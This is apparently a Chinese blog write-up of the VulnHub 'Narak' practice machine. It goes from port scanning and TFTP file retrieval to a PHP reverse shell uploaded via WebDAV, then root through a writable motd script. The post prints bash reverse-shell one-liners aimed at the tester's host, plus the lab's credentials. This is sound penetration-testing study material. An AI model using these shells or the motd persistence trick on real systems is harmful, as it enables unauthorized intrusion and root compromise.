红队打靶:Narak打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描

第二步:Web渗透

第三步:tftp渗透

第四步:webdav利用

第五步:寻找敏感文件初步提权

第六步:motd利用提权

总结与思考

写在开头

 本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机对于寻找渗透测试的思路很有启发。当nmap常规扫描没有明显收获且web目录爆破也进行不下去时,应当去寻找UDP端口的开放情况。靶机难度不高,但涉及了像许多先前暂未触及的知识,包括tftp协议的使用、dav工具的使用、brainfuck语句和motd脚本提权。完整打靶思路详见:

「红队笔记」靶机精讲:Narak:不懂tftp、dav和motd渗透,就真的会觉得很brainfuck。_哔哩哔哩_bilibili

 本文针对的靶机源于vulnhub,详情见:

 HA: Narak ~ VulnHub

  下载链接见:

https://download.vulnhub.com/ha/narak.ova

 本靶机的目标是拿到两个flag,即user.txt和root.txt。顺道一提,这个靶机还挺有趣的,vulnhub中有这样一段相关描述,我这里直接翻译了: 

Narak在印度相当于地狱。你和地狱之主一起在深渊里。你能用你的hacking技能逃出Narak吗?燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。只要记住逃离Narak的终极咒语“枚举”。在取得root之后,你会同意“地狱是个不错的地方”。

 这描述还挺炫酷的,为什么说你最信任的工具也会在这次任务中背叛你?枚举的关键和目标又在何处?整个打靶下来回头看这个描述,确实还挺传神哈哈。

靶机下载成功后用vmware打开,将网络链接设置为NAT模式。靶机启动之后如下: 

第一步:主机发现与端口扫描

 虽然这一步是每个靶机的常规操作,但这个靶机的渗透过程却略显艰难,我们并没有从端口扫描的常规步骤得到想要的信息。我的kali的地址是10.10.10.128,扫描网段进行靶机的主机发现:

nmap -sn 10.10.10.0/24

发现靶机的地址是10.10.10.144,然后进行全端口扫描,-p-表示扫描所有端口,--min-rate 10000设定速率为10000:

nmap --min-rate 10000 -p- 10.10.10.144

 常规靶机的情况,仅仅开放了22和80端口,那大概率就是从80端口入手。再用默认脚本扫描查看这两个TCP端口的详细信息(服务版本、操作系统版本):

nmap -sT -sV -sC -O -p22,80 10.10.10.144

能看到一些常规的信息。再尝试进行UDP扫描:

貌似UDP扫描啥也没看出来,再试试漏洞脚本扫描:

nmap --script=vuln -p22,80 10.10.10.144 

看到了一些目录枚举的路径,还有CSRF的漏洞,还是有点收获的。 

第二步:Web渗透

 从80端口入手,我们先用浏览器访问靶机ip试试,看看有啥思路:

直接点开就是一大堆图片,查看网页源代码也没太多信息,感觉也没有什么CMS可言,界面的最下方是about,但也没啥信息,最下面有一个按钮,写着do not click,意思说别点,难道会有什么可怕的东西?我就要点!

 点击末尾的这个Do Not Click后,发现跳转到了一个界面,是一幅漫画图片:

这漫画大家自己看吧,我就不解释了,咱也不是来看漫画的。发现url中有个images,估计是个目录,我们试着访问/images/:

 就是个图片的目录,也没太多信息,不过说不定以后能在这个目录上传shell,现在也不好说。 走到这里貌似web也没太多信息可利用。因此我们再进行一下目录爆破,看看有啥收获,这次我们使用gobuster,dir指定目录爆破,-w指定字典:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144

 可以发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。

 server-status目录没有太多信息:

 现在我们的核心思路应该就是寻找websav目录的凭据了。还有哪里我们没有寻找呢?此处想到了vulnhub页面的提示,“枚举”是关键。在使用gobuser进行爆破时,我们仅仅爆破了目录,没有对文件进行爆破,说不定一些关键文件就藏在其中,因此我们再次进行爆破,使用-x参数添加一些后缀名,包含可能的文件,比如rar/zip/txt/php/sql/html等等:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144

 我感觉最大的收获就是发现了tips.txt(index.html就是初始页面),那么curl访问一下咯(也可以用浏览器):

curl http://10.10.10.144/tips.txt   

 提示我们通往narak的门的线索可以在creds.txt找到,那么问题来了,creds.txt在哪里?难道也是在web目录可以直接访问的吗?

  哪有那么多低摘的果子,不可能这么简单。如果是我的话,走到这里就进行不下去了,接下来就跟着红队笔记大佬一起往下渗透吧。

第三步:tftp渗透

 此时思路受阻,我们知道需要寻找creds.txt,却不知道在哪里寻找。

我记得vulnhub的页面对于这个靶机的描述中有这样一句话: 燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。截至目前,我们用到了哪些工具呢?用nmap进行了主机发现和端口扫描,用gobuster进行了目录爆破。那会不会是我们被工具“背叛”了呢?莫非实际的结果并不是工具显示的那样?先说gobuster,我们进行web目录爆破可以用很多工具,其实没有本质区别,关键还是字典的问题,因此应该不是爆破工具的问题。莫非是nmap端口扫描的结果有误或者遗漏了什么?比如有可能遗漏了某些开放的UDP端口。(这段话是我看了红队笔记视频,自己再回想的时候想到的)

 我们当初端口扫描的时候显示没有任何开放的UDP端口,这里重新扫描一下,也是同样的结果。我们干脆尝试探测常见的UDP端口是否开放吧,先尝试top10常用的UDP端口:

nmap -sU --top-ports 10 10.10.10.144

确实,比如什么161,1434端口都是有可能开放的,但这些端口应该与我们要寻找creds.txt无关,再试试top20端口:

 nice,我们发现了tftp端口69,这是一个简单文件传输协议,用来在客户端和服务端进行文件传输,这个协议设计的时候是进行小文件传输的。因此它不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,不能列出目录,有兴趣的读者可以网上查查资料。下图源于百度百科:

 既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:

tftp 10.10.10.144

 不愧是简单文件传输协议,不能ls,好在我们已经知道我们的目标是获取creds.txt,那我们就尝试get一下了: 

get creds.txt

nice,下载下来了,我们输入quit退出tftp,然后查看这个creds.txt:

貌似是个base64编码,我们解码一下:

cat creds.txt | base64 -d

 yamdoot:Swarg 

 成功拿到了凭据,这很可能是最初webdav目录的访问凭据!

第四步:webdav利用

回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面

 这个页面也没啥东西呀?此时就涉及到对webdav的了解了,webdav是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。

 此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg 

 可以看到上传的文件类型如下:

基本上都可以上传,再看一下执行权限:

 发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell,先编写一个shell.php,注意要写kali的ip:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

 然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:

cadaver http://10.10.10.144/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php

回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:

此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell 

nc -lvnp 1234

第五步:寻找敏感文件初步提权

此时我们拿到了www-data的shell,通常我会sudo -l查看有什么可以利用的二进制文件,先用python3增强交互性后运行sudo -l结果显示需要密码:

python3 -c "import pty;pty.spawn('/bin/bash')"

 下一步就是可以查看计划任务、备份文件、suid的文件、可写文件等,总之寻找有没有一些ssh登录的凭据或是可以利用的提权文件:最终通过查找可写的文件发现了一些端倪:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password,如下:

看来就是webdav的登录凭据,应该不是我们要找的ssh凭据。那查看hell.sh:

可以看到一行奇怪的文字:

 --[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

 有CTF的经验就可以知道,这是一种名为brainfuck的编程语言!

可是咱也不太懂这个语言,可以用beef工具进行解释,首先将brainfuck的字符存为一个文件hell.bf,然后用beef解释器翻译一下:

beef hell.bf

  解出了一串字符:

chitragupt 

这很可能是ssh的一个密码,那么是哪个用户名呢?我们可以查看/etc/passwd,寻找哪些账户有shell环境:

可以发现重点就是narak,yamdoot,inferno三个用户,依次尝试一下就可以发现chitragupt是用户inferno的ssh密码:

ssh [email protected]

第六步:motd利用提权

此时我们拿到了inferno的权限,先查看当前目录有啥:

意料之中,拿到了第一个flag即user.txt。下面的目标就是提权到root了。sudo -l也是此路不通

 因此接下来有两种大致思路,其一,和刚才类似,继续寻找高权限的凭据,也就是root的ssh凭据,其二:利用一些root高权限的工具/可执行文件/脚本等实现提权。同样,一番搜索之后,最终发现了一些能够利用的具有可写权限的文件:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:

MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档:

然后我们通过vi工具编辑,或通过echo追加的方式,在其中添加反弹shell代码:

echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header

 然后在kali中nc监听4444端口

 重新ssh登录inferno用户触发00-header脚本执行,从而触发反弹shell,又由于运行这个脚本时是具有root权限的(此处我有点疑惑),成功触发了反弹shell,且反弹的是root的shell,也就是提权成功了!

其中第二个flag是在root目录下的root.txt:

 至此打靶完成! 

总结与思考

 打这个靶机感觉还挺有收获的,主要是有一些先前不了解的知识点。比如tftp协议的使用、dav工具的使用、brainfuck语句和motd脚本提权等等。回看vulnhub对于靶机的描述:

Narak在印度相当于地狱。你和地狱之主一起在深渊里。你能用你的hacking技能逃出Narak吗?燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。只要记住逃离Narak的终极咒语“枚举”。在取得root之后,你会同意“地狱是个不错的地方”。

 还挺有感触的哈。我们被信任的工具nmap背叛了,nmap原以为没有UDP端口开放的,结果最后发现了tftp的69端口,这才有了寻找creds.txt的思路。 同时我们也通过不断的枚举找到了tips.txt,提示我们去寻找creds.txt。不过我并不认为“地狱是个不错的地方”,或许我们可以通过靶机这个地狱学习渗透的知识吧,哈哈。最后还是总结一下打靶的思路:

1.主机发现和端口扫描:常规思路,发现22和80端口,应该要从web入手。起初并未发现UDP端口。

2.Web渗透:目录爆破发现关键目录webdav,但访问需要凭据。文件爆破找到关键文件tips.txt,提示我们去寻找creds.txt

3.tftp渗透:回头再去寻找UDP端口,发现tftp端口可能开放,尝试利用这个协议读取creds.txt,下载成功,成功访问webdav。

4.webdav利用获取初始立足点:webdav貌似是个空目录,但它其实是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源。使用davtest测试webdav可以上传和执行哪些文件,发现可以上传并执行php,利用cadaver客户端上传反弹shell的php文件并访问shell.php,成功反弹了www-data的shell,获得了初始立足点。

5.寻找敏感文件初步提权,尝试查看sudo权限文件、计划任务、备份文件、suid的文件、可写文件等,最后在可写文件中发现了一个hell.sh,其中有一段brainfuck代码,用beef工具解码得到了一串字符,经尝试发现是用户名inferno的ssh密码。

6.motd利用提权:利用对00-header文件的可写权限,这是linux在登录时会运行的显示欢迎信息的脚本,在这个文件中添加反弹shell的代码,当该脚本执行时(再次登录ssh时)即可触发反弹shell。

不过我还有个小问题没解决:最后利用motd提权的时候添加反弹shell后再次登录为啥反弹的是root的shell啊,为什么不是反弹inferno的shell呢?毕竟登录的ssh用户是inferno。是motd的机制隐含了root的权限吗? 可以回头再查查资料研究一下。

 到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的,有很多新的知识点。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/132641610